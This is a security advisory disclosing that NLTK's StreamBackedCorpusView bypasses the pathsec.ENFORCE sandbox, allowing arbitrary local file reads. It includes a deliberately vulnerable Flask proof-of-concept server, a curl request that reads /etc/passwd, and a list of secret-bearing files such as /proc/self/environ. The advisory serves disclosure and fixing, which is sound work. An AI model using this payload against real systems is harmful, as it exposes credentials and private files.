NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

Summary

Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details

nltk/pathsec.py:274 defines the enforcement point:

def open(file, mode="r", **kwargs):
    validate_path(file, context="pathsec.open")
    return builtins.open(file, mode=mode, **kwargs)

StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size

# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC

# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block

# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True

app = Flask(__name__)

@app.post("/read")
def read_file():
    fname = request.json.get("file")
    # fileid is user-controlled, passed directly to StreamBackedCorpusView
    # pathsec.ENFORCE = True is ignored — builtins.open() called internally
    view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
    return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000)

Trigger:

curl -s -X POST http://localhost:8000/read \
  -H "Content-Type: application/json" \
  -d '{"file": "/etc/passwd"}'

Confirmed on latest stable NLTK. No privileges required.

Impact

• Type: Arbitrary Local File Read / Security Control Bypass
• CWE: CWE-22, CWE-284
• OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().